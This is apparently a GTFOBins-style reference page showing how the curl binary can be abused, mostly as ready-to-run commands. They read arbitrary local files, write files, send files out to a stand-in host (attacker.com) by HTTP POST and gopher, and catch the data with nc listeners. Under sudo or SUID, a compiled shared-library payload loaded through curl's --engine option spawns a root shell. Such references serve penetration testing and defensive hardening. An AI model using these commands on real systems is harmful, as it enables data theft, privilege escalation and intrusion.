File write

This executable can write data to local files.
  1. This function can be performed by any unprivileged user.
    echo DATA >/path/to/temp-file
    curl file:///path/to/temp-file -o /path/to/output-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo DATA >/path/to/temp-file
    curl file:///path/to/temp-file -o /path/to/output-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    echo DATA >/path/to/temp-file
    curl file:///path/to/temp-file -o /path/to/output-file

File read

This executable can read data from local files.
  1. This function can be performed by any unprivileged user.
    curl file:///path/to/input-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    curl file:///path/to/input-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    curl file:///path/to/input-file

Upload

This executable can upload local data.
  1. This function can be performed by any unprivileged user.
    curl -X POST --data-binary @/path/to/input-file http://attacker.com
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    curl -X POST --data-binary @/path/to/input-file http://attacker.com
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    curl -X POST --data-binary @/path/to/input-file http://attacker.com
    ReceiverAn HTTP server can be used on the attacker box to receive the data.
    nc -l -p 80 | awk 'BEGIN {RS="\r\n\r\n";ORS=""} NR==2' >/path/to/output-file
  2. This function can be performed by any unprivileged user.
    curl -X POST --data-binary DATA http://attacker.com
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    curl -X POST --data-binary DATA http://attacker.com
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    curl -X POST --data-binary DATA http://attacker.com
    ReceiverAn HTTP server can be used on the attacker box to receive the data.
    nc -l -p 80 | awk 'BEGIN {RS="\r\n\r\n";ORS=""} NR==2' >/path/to/output-file
  3. CommentData will be \r\n terminated.
    This function can be performed by any unprivileged user.
    curl gopher://attacker.com:12345/_DATA
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    curl gopher://attacker.com:12345/_DATA
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    curl gopher://attacker.com:12345/_DATA
    ReceiverA TCP server can be used on the attacker box to receive the data.
    nc -l -p 12345 >/path/to/output-file

Download

This executable can download remote data.
  1. This function can be performed by any unprivileged user.
    curl http://attacker.com/path/to/input-file -o /path/to/output-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    curl http://attacker.com/path/to/input-file -o /path/to/output-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    curl http://attacker.com/path/to/input-file -o /path/to/output-file
    SenderAn HTTP server can be used on the attacker box to send the data.
    python -m http.server 80

Library load

This executable can load shared libraries that may be used to run arbitrary code in the same execution context.
  1. This function can be performed by any unprivileged user.
    curl --engine /path/to/lib.so x
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    curl --engine /path/to/lib.so x
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    curl --engine /path/to/lib.so x
    Payload

    As an example, the following can be used to create a minimal shared library (lib.so) that spawns a shell upon loading:

    echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \
        | gcc -w -fPIC -shared -o lib.so -x c -
    

    Add the usual -p argument to the shell for SUID contexts. Consider calling setuid(0); beforehand if the executable has the CAP_SETUID capability assigned.